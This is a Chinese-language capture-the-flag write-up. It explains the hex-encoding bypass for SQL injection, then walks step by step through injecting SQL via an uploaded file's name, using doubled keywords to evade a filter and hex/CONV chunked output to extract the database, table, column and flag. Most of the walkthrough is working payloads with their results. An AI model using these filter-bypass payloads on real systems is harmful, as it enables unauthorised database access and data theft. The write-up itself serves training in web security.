前言
SQL注入的16进制绕过是指攻击者使用16进制编码绕过输入过滤和防御措施,从而执行恶意的SQL语句。
例如,当输入过滤器检测到单引号时,它可能会将其替换为两个单引号,以避免SQL注入攻击。然而,攻击者可以使用16进制编码来绕过这一过滤器。例如,单引号的16进制编码为0x27,因此攻击者可以使用以下语句进行注入:
SELECT * FROM users WHERE username='admin' AND password=0x2720656e7472616e63652070617373776f7264
这里的0x27是单引号的16进制编码,而0x2720656e7472616e63652070617373776f7264是" 'entrance password "的16进制编码,用来代替密码字段。
攻击者可以使用类似的技术来绕过其他类型的输入过滤器和防御措施。因此,开发人员需要仔细考虑和测试其应用程序的安全性,以确保能够抵御SQL注入等攻击。
一、upload
1.题目
2.答题
注册一个账号并登录后
上传一张图片,可以看到图片名会显示在页面上
猜测到文件名可能存在注入漏洞,上传一张名为select和from的图片,发现文件名被过滤,将select改为selselectect可成功绕过。
sql语句是执行了,但无法输出执行结果.(可能数据被过滤掉了),那么尝试将查询结果改为16进制输出
1、查询数据库:
sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
返回:
sql 131277325825392 => web_up
sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
返回:
sql 1819238756 => load
拼接起来得知数据库名为:web_upload
2、然后查表:
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
返回:
sql 114784820031327 => hello_
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
返回:
sql 112615676665705 => flag_i
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg
返回:
sql 126853610566245 => s_here
拼接起来得知存放flag的表名为: hello_flag_is_here
3、然后查这个表里有什么字段:
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
返回:
sql 115858377367398 => i_am_f
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg
返回:
sql 7102823=> lag
拼接起来得知存放flag的字段是:i_am_flag
4、然后查询flag:
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
返回:
sql 36427215695199 => !!_@m_
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
返回:
sql 92806431727430=> Th.e_F
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
返回:
sql 560750951=> !lag
拼起来之后得到flag: !!_@m_Th.e_F!lag